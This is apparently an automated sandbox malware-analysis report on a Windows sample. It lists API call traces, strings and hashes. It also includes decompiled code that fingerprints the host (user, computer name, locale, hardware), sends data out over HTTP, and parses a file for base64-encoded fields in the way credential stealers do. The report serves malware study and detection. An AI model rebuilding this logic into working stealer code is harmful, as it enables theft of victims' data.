Part of subcall function 0040B330: RegOpenKeyExA.ADVAPI32(80000002,004822E0,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Strings

1H, xrefs: 0040572B
PpH, xrefs: 0040576B
`oH, xrefs: 004058C3
01H, xrefs: 004058F2
(nH, xrefs: 00405ADD
P1H, xrefs: 00405934
0oH, xrefs: 004059B4
@1H, xrefs: 00405913
`1H, xrefs: 00405A72
pnH, xrefs: 00405863
pnH, xrefs: 0040586A, 004058C9, 004058F9, 0040591A, 0040593B, 004059BA, 004059EA, 00405A79, 0040586D, 004058CC, 004058FC, 0040591D, 0040593E, 004059BD, 004059ED, 00405A7C
nH, xrefs: 004059E3

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: 1H$(nH$01H$0oH$@1H$P1H$PpH$`1H$`oH$pnH$pnH$nH
API String ID: 1685704716-3308622644
Opcode ID: 1723708dcce3e1b7f294fbfe390c9551801936b3caf8839a04f42c035618eaa2
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: 1723708dcce3e1b7f294fbfe390c9551801936b3caf8839a04f42c035618eaa2
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00585930, Relevance: 131.6, APIs: 64, Strings: 11, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0058593B
RtlAllocateHeap.NTDLL(00000000), ref: 00585942
lstrcat.KERNEL32(?,0041A6E4), ref: 00585955
lstrcat.KERNEL32(?,0041A22C), ref: 00585966
lstrcat.KERNEL32(?,00418BC0), ref: 00585975
lstrcat.KERNEL32(?, 1H), ref: 00585986
lstrcat.KERNEL32(?,00418BC4), ref: 00585995
lstrcat.KERNEL32(?,0041A544), ref: 005859A6
lstrcat.KERNEL32(?,00418BC0), ref: 005859B5
lstrcat.KERNEL32(?,PpH), ref: 005859C6
GetCurrentProcessId.KERNEL32 ref: 005859CC

Part of subcall function 0058BBA0: OpenProcess.KERNEL32(00000410,00000000,?), ref: 0058BBB4
Part of subcall function 0058BBA0: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0058BBD5
Part of subcall function 0058BBA0: CloseHandle.KERNEL32(00000000), ref: 0058BBDF

lstrcat.KERNEL32(?,00000000), ref: 005859E0
lstrcat.KERNEL32(?,00418BC0), ref: 005859EF
lstrcat.KERNEL32(?,0041A55C), ref: 005859FF

Part of subcall function 0058AF30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00585A0A), ref: 0058AF3D
Part of subcall function 0058AF30: RtlAllocateHeap.NTDLL(00000000), ref: 0058AF44
Part of subcall function 0058AF30: GetLocalTime.KERNEL32(?,?,?,?,?,00585A0A), ref: 0058AF51
Part of subcall function 0058AF30: wsprintfA.USER32 ref: 0058AF7E

lstrcat.KERNEL32(?,00000000), ref: 00585A0F
lstrcat.KERNEL32(?,00418BC4), ref: 00585A1E
lstrcat.KERNEL32(?,0041A044), ref: 00585A2F

Part of subcall function 0058AF90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058AFA0
Part of subcall function 0058AF90: RtlAllocateHeap.NTDLL(00000000), ref: 0058AFA7
Part of subcall function 0058AF90: GetTimeZoneInformation.KERNEL32(?), ref: 0058AFBA

lstrcat.KERNEL32(?,00000000), ref: 00585A3F
lstrcat.KERNEL32(?,00418BC0), ref: 00585A4E
lstrcat.KERNEL32(?,0041A0FC), ref: 00585A5F

Part of subcall function 0058B010: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0058B022

lstrcat.KERNEL32(?,00000000), ref: 00585A6F
lstrcat.KERNEL32(?,00418BC4), ref: 00585A7E
lstrcat.KERNEL32(?,0041A040), ref: 00585A8E

Part of subcall function 0058B050: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0058B060
Part of subcall function 0058B050: RtlAllocateHeap.NTDLL(00000000), ref: 0058B067
Part of subcall function 0058B050: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0058B088
Part of subcall function 0058B050: LocalAlloc.KERNEL32(00000040,?), ref: 0058B0A0
Part of subcall function 0058B050: GetKeyboardLayoutList.USER32(?,00000000), ref: 0058B0B4
Part of subcall function 0058B050: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0058B109
Part of subcall function 0058B050: wsprintfA.USER32 ref: 0058B132
Part of subcall function 0058B050: wsprintfA.USER32 ref: 0058B150
Part of subcall function 0058B050: memset.NTDLL ref: 0058B176
Part of subcall function 0058B050: LocalFree.KERNEL32(00000000), ref: 0058B18B

lstrcat.KERNEL32(?,00000000), ref: 00585A9E
lstrcat.KERNEL32(?,00418BC0), ref: 00585AAD
lstrcat.KERNEL32(?,pnH), ref: 00585ABE

Part of subcall function 0058B1A0: GetSystemPowerStatus.KERNEL32(?), ref: 0058B1AA

lstrcat.KERNEL32(?,00000000), ref: 00585ACE
lstrcat.KERNEL32(?,00418BC4), ref: 00585ADD
lstrcat.KERNEL32(?,0041A164), ref: 00585AEE

Part of subcall function 0058B1D0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B1E4
Part of subcall function 0058B1D0: RtlAllocateHeap.NTDLL(00000000), ref: 0058B1EB
Part of subcall function 0058B1D0: RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,00585AF9), ref: 0058B20B
Part of subcall function 0058B1D0: RegQueryValueExA.ADVAPI32(00585AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0058B22C
Part of subcall function 0058B1D0: RegCloseKey.ADVAPI32(00585AF9), ref: 0058B236

lstrcat.KERNEL32(?,00000000), ref: 00585AFE
lstrcat.KERNEL32(?,00418BC4), ref: 00585B0D
lstrcat.KERNEL32(?,`oH), ref: 00585B1D

Part of subcall function 0058B250: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B25D
Part of subcall function 0058B250: RtlAllocateHeap.NTDLL(00000000), ref: 0058B264
Part of subcall function 0058B250: memset.NTDLL ref: 0058B275
Part of subcall function 0058B250: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0058B286
Part of subcall function 0058B250: __aulldiv.LIBCMT ref: 0058B2A0
Part of subcall function 0058B250: wsprintfA.USER32 ref: 0058B2CC

lstrcat.KERNEL32(?,00000000), ref: 00585B2D
lstrcat.KERNEL32(?,00418BC4), ref: 00585B3C
lstrcat.KERNEL32(?,01H), ref: 00585B4D

Part of subcall function 0058B2E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B2F4
Part of subcall function 0058B2E0: RtlAllocateHeap.NTDLL(00000000), ref: 0058B2FB
Part of subcall function 0058B2E0: RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[X), ref: 0058B31B
Part of subcall function 0058B2E0: RegQueryValueExA.ADVAPI32(X[X,0041A4DC,00000000,00000000,?,000000FF), ref: 0058B33C
Part of subcall function 0058B2E0: RegCloseKey.ADVAPI32(X[X), ref: 0058B346

lstrcat.KERNEL32(?,00000000), ref: 00585B5D
lstrcat.KERNEL32(?,@1H), ref: 00585B6E

Part of subcall function 0058B360: GetCurrentProcess.KERNEL32(00000000), ref: 0058B36F
Part of subcall function 0058B360: IsWow64Process.KERNEL32(00000000), ref: 0058B376

lstrcat.KERNEL32(?,00000000), ref: 00585B7E
lstrcat.KERNEL32(?,P1H), ref: 00585B8F
lstrcat.KERNEL32(?,00418BC4), ref: 00585B9E
lstrcat.KERNEL32(?,0041A798), ref: 00585BAF
lstrcat.KERNEL32(?,00000000), ref: 00585BBF
lstrcat.KERNEL32(?,00418BC4), ref: 00585BCE
lstrcat.KERNEL32(?,0041A424), ref: 00585BDF

Part of subcall function 0058B3D0: wsprintfA.USER32 ref: 0058B42C

lstrcat.KERNEL32(?,00000000), ref: 00585BEF
lstrcat.KERNEL32(?,00418BC0), ref: 00585BFE
lstrcat.KERNEL32(?,0oH), ref: 00585C0E

Part of subcall function 0058AEA0: GetProcessHeap.KERNEL32(00000000,00000104,?,00585C19), ref: 0058AEAD
Part of subcall function 0058AEA0: RtlAllocateHeap.NTDLL(00000000,?,00585C19), ref: 0058AEB4
Part of subcall function 0058AEA0: GetComputerNameA.KERNEL32(00585C19,00000104), ref: 0058AECC

lstrcat.KERNEL32(?,00000000), ref: 00585C1E
lstrcat.KERNEL32(?,00418BC4), ref: 00585C2D
lstrcat.KERNEL32(?,nH), ref: 00585C3E

Part of subcall function 0058AEF0: GetProcessHeap.KERNEL32(00000000,00000104,?,00585C49), ref: 0058AEFD
Part of subcall function 0058AEF0: RtlAllocateHeap.NTDLL(00000000,?,00585C49), ref: 0058AF04
Part of subcall function 0058AEF0: GetUserNameA.ADVAPI32(?,00000104), ref: 0058AF1C

lstrcat.KERNEL32(?,00000000), ref: 00585C4E
lstrcat.KERNEL32(?,00418BC4), ref: 00585C5D
lstrcat.KERNEL32(?,0041A3C0), ref: 00585C6E
lstrcat.KERNEL32(?,00000000), ref: 00585C7E
lstrcat.KERNEL32(?,00418BC4), ref: 00585C8D
lstrcat.KERNEL32(?,0041A6C0), ref: 00585C9D

Part of subcall function 0058B490: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B4A4
Part of subcall function 0058B490: RtlAllocateHeap.NTDLL(00000000), ref: 0058B4AB
Part of subcall function 0058B490: RegOpenKeyExA.ADVAPI32(80000002,peH,00000000,00020119,00585CA8), ref: 0058B4CB
Part of subcall function 0058B490: RegQueryValueExA.ADVAPI32(00585CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0058B4EC
Part of subcall function 0058B490: RegCloseKey.ADVAPI32(00585CA8), ref: 0058B4F6

lstrcat.KERNEL32(?,00000000), ref: 00585CAD
lstrcat.KERNEL32(?,00418BC4), ref: 00585CBC
lstrcat.KERNEL32(?,`1H), ref: 00585CCD

Part of subcall function 0058B510: GetCurrentHwProfileA.ADVAPI32(?), ref: 0058B51D
Part of subcall function 0058B510: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0058B52B
Part of subcall function 0058B510: RtlAllocateHeap.NTDLL(00000000), ref: 0058B532
Part of subcall function 0058B510: memset.NTDLL ref: 0058B549
Part of subcall function 0058B510: lstrcat.KERNEL32(?,?), ref: 0058B55A

lstrcat.KERNEL32(?,00000000), ref: 00585CDD
lstrcat.KERNEL32(?,00418BC0), ref: 00585CEC
lstrcat.KERNEL32(?,0041A31C), ref: 00585CFD
lstrcat.KERNEL32(?,00418BC4), ref: 00585D0C
lstrlen.KERNEL32(?), ref: 00585D22

Strings

PpH, xrefs: 005859BB, 005859C1
01H, xrefs: 00585B42, 00585B48
1H, xrefs: 0058597B, 00585981
0oH, xrefs: 00585C04, 00585C09
P1H, xrefs: 00585B84, 00585B8A
@1H, xrefs: 00585B63, 00585B69
`1H, xrefs: 00585CC2, 00585CC8
nH, xrefs: 00585C33, 00585C39
`oH, xrefs: 00585B13, 00585B18
pnH, xrefs: 00585AB3, 00585AB9
(nH, xrefs: 00585D2D, 00585D33

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$wsprintf$CloseNameOpen$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: 1H$(nH$01H$0oH$@1H$P1H$PpH$`1H$`oH$pnH$nH
API String ID: 874587921-1424207133
Opcode ID: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction ID: b509c9ff141edf9f305f66036abb0f61799c6446e73d35cda8270a221488241e
Opcode Fuzzy Hash: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction Fuzzy Hash: 51C10BBA611504FFCB00EBE4DF89D9E77B9AF4C3457208559B205D3661CB38AA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00584E30, Relevance: 107.1, APIs: 56, Strings: 5, Instructions: 371stringnetworkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388), ref: 00584E7A
RtlAllocateHeap.NTDLL(00000000), ref: 00584E81
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00584EA8
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00584ECA
StrCmpCA.SHLWAPI(?,00418B90), ref: 00584EED
lstrcat.KERNEL32(?,00000000), ref: 00584F20
lstrcat.KERNEL32(?,00418B9C), ref: 00584F32
lstrcat.KERNEL32(?,00418BA0), ref: 00584F44
lstrcat.KERNEL32(?,?), ref: 00584F58
lstrcat.KERNEL32(?,00418BA8), ref: 00584F6A
lstrcat.KERNEL32(?,00418B9C), ref: 00584F7C
lstrcat.KERNEL32(?,p1H), ref: 00584F90
lstrcat.KERNEL32(?,?), ref: 00584FA4
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00584FCD
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00584FF2
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00C00100,00000000), ref: 00585037
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00400100,00000000), ref: 00585069
lstrcat.KERNEL32(?,00418BA0), ref: 0058508E
lstrcat.KERNEL32(?,?), ref: 005850A2
lstrcat.KERNEL32(?,00418B9C), ref: 005850B4
lstrcat.KERNEL32(?,XbH), ref: 005850C8
lstrcat.KERNEL32(?,(sH), ref: 005850DB
lstrcat.KERNEL32(?,00418BAC), ref: 005850ED
lstrcat.KERNEL32(?,?), ref: 005850FE
lstrcat.KERNEL32(?,00418B9C), ref: 00585110
lstrcat.KERNEL32(?,00418BA0), ref: 00585122
lstrcat.KERNEL32(?,?), ref: 00585136
lstrcat.KERNEL32(?,00418B9C), ref: 00585148
lstrcat.KERNEL32(?,@pF), ref: 0058515C
lstrcat.KERNEL32(?,?), ref: 0058516D
lstrcat.KERNEL32(?,00418BB4), ref: 0058517F
lstrcat.KERNEL32(?,H`H), ref: 00585192
lstrcat.KERNEL32(?,00418B9C), ref: 005851A4
lstrcat.KERNEL32(?,0041A538), ref: 005851B7
lstrcat.KERNEL32(?,00418BB8), ref: 005851C9
lstrlen.KERNEL32(?), ref: 005851D6
lstrlen.KERNEL32(?), ref: 005851E8
GetProcessHeap.KERNEL32(00000000,?), ref: 005851FF
RtlAllocateHeap.NTDLL(00000000), ref: 00585206
lstrlen.KERNEL32(?), ref: 00585219
memcpy.NTDLL(?,?,00000000), ref: 0058522E
lstrlen.KERNEL32(?,?,?), ref: 00585243
memcpy.NTDLL(?), ref: 00585250
lstrlen.KERNEL32(?), ref: 0058525D
lstrlen.KERNEL32(?,?,00000000), ref: 00585272
memcpy.NTDLL(?), ref: 00585282
lstrlen.KERNEL32(?,?,?), ref: 005852C1
HttpSendRequestA.WININET(00000000,?,00000000), ref: 005852D6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 005852F5
StrCmpCA.SHLWAPI(?,00418B8C), ref: 0058530B
Sleep.KERNEL32(00007530), ref: 0058531C
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0058536D
lstrcat.KERNEL32(?,00000000), ref: 005853A9
InternetCloseHandle.WININET(?), ref: 005853B8
InternetCloseHandle.WININET(?), ref: 005853C5
InternetCloseHandle.WININET(00000000), ref: 005853D2

Strings

H`H, xrefs: 00585185, 0058518A
@pF, xrefs: 0058514E, 00585154
(sH, xrefs: 005850CE, 005850D3
XbH, xrefs: 005850BA, 005850C0
p1H, xrefs: 00584F82, 00584F88

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: (sH$@pF$H`H$XbH$p1H
API String ID: 3074752877-3576964548
Opcode ID: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction ID: 6f42979a9b8039b1eba8d07976282db0316d537416d5e02e871f391476296e09
Opcode Fuzzy Hash: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction Fuzzy Hash: 34F1B6B5A41218AFCB20DFA0DD48FDA7779BF48700F0085D9F209A7181DB74AAA4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41a81c(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						 *0x41aa24( &_v284, _a12);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x487cd8
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x487b70
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x487b70
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x487ba0
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x487338
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0x487368
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x487268
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x4885b8
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x4885b8
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x4886d8
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x4871b8
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x4886d8
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x4886d8
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0x4888b0
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x4871c8
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,004864F8), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,00487CD8), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00409198
StrStrA.SHLWAPI(?,00487B70), ref: 004091A9
lstrlen.KERNEL32(00487B70), ref: 004091C9
StrStrA.SHLWAPI(00000000,00487BA0), ref: 004091ED
lstrcat.KERNEL32(00000000,00487338), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,00487368), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,00487268), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,004885B8), ref: 004092BA
lstrlen.KERNEL32(004885B8), ref: 004092C8
StrStrA.SHLWAPI(00000000,004886D8), ref: 004092E6
lstrcat.KERNEL32(00000000,004871B8), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,004886D8), ref: 00409350
lstrlen.KERNEL32(004886D8), ref: 0040935E
StrStrA.SHLWAPI(00000000,004888B0), ref: 0040937C
lstrcat.KERNEL32(00000000,004871C8), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

hrH, xrefs: 00409271
, xrefs: 0040908F
8sH, xrefs: 00409205
hsH, xrefs: 0040923C
p{H, xrefs: 0040919E, 004091C2

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $8sH$hrH$hsH$p{H
API String ID: 3141130001-3741783452
Opcode ID: c99d4b22bfce872092d24c5a2dce482b37f81ced1e1e5daef3092014657f4ea5
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: c99d4b22bfce872092d24c5a2dce482b37f81ced1e1e5daef3092014657f4ea5
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005892B0, Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 236stringfileCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A0C4), ref: 00589305
lstrcat.KERNEL32(?,00414018), ref: 00589317
lstrcat.KERNEL32(?,0041A7E4), ref: 0058932B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0058935B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00589381
GetFileSize.KERNEL32(00000000,00000000), ref: 00589390
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 005893A9
new[].LIBCMTD ref: 005893B9
ReadFile.KERNEL32(00000000,?,00000000,0041ABA8,00000000), ref: 005893E8
StrStrA.SHLWAPI(?,p{H), ref: 005893F9
lstrlen.KERNEL32(p{H), ref: 00589419
StrStrA.SHLWAPI(00000000,0041A3B0), ref: 0058943D
lstrcat.KERNEL32(0041A838,8sH), ref: 00589463
lstrcat.KERNEL32(0041A838,?), ref: 00589474
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00589486
lstrcat.KERNEL32(0041A838,hsH), ref: 00589499
lstrcat.KERNEL32(0041A838,00000020), ref: 005894A9
lstrcat.KERNEL32(0041A838,00418BC4), ref: 005894BB
lstrcat.KERNEL32(0041A838,hrH), ref: 005894CE
lstrcat.KERNEL32(0041A838,00000000), ref: 005894E2
lstrcat.KERNEL32(0041A838,00418BC4), ref: 005894F3
StrStrA.SHLWAPI(?,0041A5B8), ref: 0058950A
lstrlen.KERNEL32(0041A5B8), ref: 00589518
StrStrA.SHLWAPI(00000000,0041A5B4), ref: 00589536
lstrcat.KERNEL32(0041A838,0041A06C), ref: 0058955B

Part of subcall function 005879F0: lstrlen.KERNEL32(0058956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00587A3B
Part of subcall function 005879F0: CryptStringToBinaryA.CRYPT32(0058956D,00000000), ref: 00587A46

lstrcat.KERNEL32(0041A838,00000000), ref: 00589578
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00589589
StrStrA.SHLWAPI(?,0041A5B4), ref: 005895A0
lstrlen.KERNEL32(0041A5B4), ref: 005895AE
StrStrA.SHLWAPI(00000000,0041A70C), ref: 005895CC
lstrcat.KERNEL32(0041A838,0041A14C), ref: 005895F1

